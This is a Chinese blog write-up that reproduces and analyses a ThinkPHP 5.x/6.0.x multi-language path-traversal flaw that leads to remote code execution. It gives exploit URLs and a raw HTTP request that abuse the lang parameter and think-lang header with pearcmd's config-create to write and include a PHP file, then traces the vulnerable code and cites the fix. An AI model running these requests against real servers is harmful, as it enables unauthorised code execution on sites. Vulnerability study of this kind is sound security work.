赞
踩
Thinkphp5~6多语言文件包含到rce漏洞复现and详细分析解析
目录
如果有错误的地方请各位师傅们指正
存在漏洞的版本
Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x
不存在漏洞的版本
ThinkPHP >= 6.0.14
ThinkPHP >= 5.1.42
这里我从官网下载ThinkPHP5.0.24完整版
https://www.thinkphp.cn/down/1278.html
然后将网站路径指定到public下访问
然后打开多语言功能,配置文件可能在下方两个文件中,手册
- config/app.php
- application/config.php
'lang_switch_on' => true,
由于他只能包含php文件所以这里我们在想要包含的地方建立一个php文件,我这里是跟application同级目录下新建了一个test.php
然后包含,成功执行
http://127.0.0.1/?lang=../../test
要想rce需要通过pearcmd,什么是pearcmd可以看一下我下面这个之前的文章,pearcmd 官方的php docker容器里面是自带的,在PHP7.3及以前是默认安装的,在PHP7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
所以这里我用docker演示,包含测试一下是否有pearcmd,返回报错信息就代表存在
http://10.68.1.3:5690/?lang=../../../../../../../../usr/local/lib/php/pearcmd
在tmp目录下生成一个mo60.php的文件,这里使用burp抓包,直接url中get传参会把<这些字符自动编码
http://10.68.1.3:5690/?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/tmp/mo60.php
然后包含即可
http://10.68.1.3:5690/?lang=../../../../../../../../tmp/mo60
直接docker起
docker run -it -d -p 7070:80 vulfocus/thinkphp:6.0.12
thinkphp6打开多语言功能是在 app/middleware.php里配置,手册地址
- <?php
- // 全局中间件定义文件
- return [
- // 全局请求缓存
- // \think\middleware\CheckRequestCache::class,
- // 多语言加载
- \think\middleware\LoadLangPack::class,
- // Session初始化
- // \think\middleware\SessionInit::class
- ];
查看一下
这里按上面tp5的方式来还是调用pearcmd来rce但是通过cookie来传值在tmp目录下生成一个mo60.php的文件
- GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/mo60.php HTTP/1.1
- Host: host
- accept: */*
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- DNT: 1
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
- Content-Length: 0
- think-lang:../../../../../../../../usr/local/lib/php/pearcmd
- Cookie: think_lang=zh-cn;
- Connection: close
可以把cookie里面的think-lang修改为
think-lang:../../../../../../../../tmp/mo60
又或者通过get传入
lang=../../../../../../../../tmp/mo60
thinkphp\library\think\App.php
如果多语言是开启状态会调用Lang::detect
方法然后调用Lang::load
进行加载语言包这里就是文件包含的位置,我们可控的参数是$request->langset()
,可控的值是通过$Lang::range()
获取的
来到 thinkphp\library\think\Lang.php
看看range方法,返回当前类的range成员变量的值
这个值默认为zh-cn
现在我们来看看detect方法,先是从get或者cookie获取值然后赋值给::$range变量
我们在detect方法return前下个断点然后访问
http://127.0.0.1/?lang=../../test
可以看到传入的../../test给到了$langSet然后赋值给::$range
回到thinkphp\library\think\App.php
接下来就是 Lang::load去加载了
就是包含我们传入的路径
这个EXT常量的值是.php
- THINK_PATH . 'lang' . DS . $request->langset() . EXT,
- APP_PATH . 'lang' . DS . $request->langset() . EXT,
给Lang::load打个断点可以看到我们传入的值
然后对我们传入的文件路径进行包含
最后就是成功执行我们的test.php内容
这里使用上面复现的docker里面的6.0.12版本
app/middleware.php
开启多语言
还是新建了一个test.php跟app目录同级
每个 middleware 的 handle 函数都会被调用vendor\topthink\framework\src\think\middleware\LoadLangPack.php
在方法第一行调用了detect
跟到detect,跟tp5也差不多判断 GET["lang"] 、HEADER["think-lang"] 、COOKIE["think_lang"]是否有值,然后判断是否在运行的语言里$this->config['allow_lang_list']
这个变量默认为空然后将值返回
在detect返回的地方下个断点然后访问,可以看到返回的值就是我们传入的值
http://127.0.0.1/public/?lang=../../../../../test
回到handle函数,通过detect返回的 $langset 不等于默认的语言zh-cn,那么就会调用 $this->lang->switchLangSet($langset)
跟到vendor\topthink\framework\src\think\Lang.php
switchLangSet函数,调用了load方法,
经过拼接这里的路径为F:\phpstudy_pro\WWW\vendor\topthink\framework\src\lang\../../../../../test.php
跟到load函数可以看到直接将传入的参数作为文件名,先判断文件在不在,如果在就传入parse中
跟到parse可以看到先获取后缀名如果为php就进行文件包含:
参考自p牛
ThinkPHP为了支持多语言,会根据用户提供的lang参数来加载对应的语言包。例如:lang参数值为英文,那么系统就会加载en-us.php文件;如果是中文,那么就会加载zh-cn.php文件。由于ThinkPHP没有对lang参数进行检查,我们可以通过使用"../"来跨越目录从而包含其他目录下的PHP文件。
大概代码就是如下:
- <?php
- include LANG_DIR . $_REQUEST['lang'] . ".php";
- ?>
要getshell的话还是需要满足很多条件,如果存在其他无法被直接访问的存在漏洞的组件也可以利用。
官方在几个月前已修复:
删除废弃方法 优化多语言检测 · top-think/framework@c4acb8b · GitHub
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。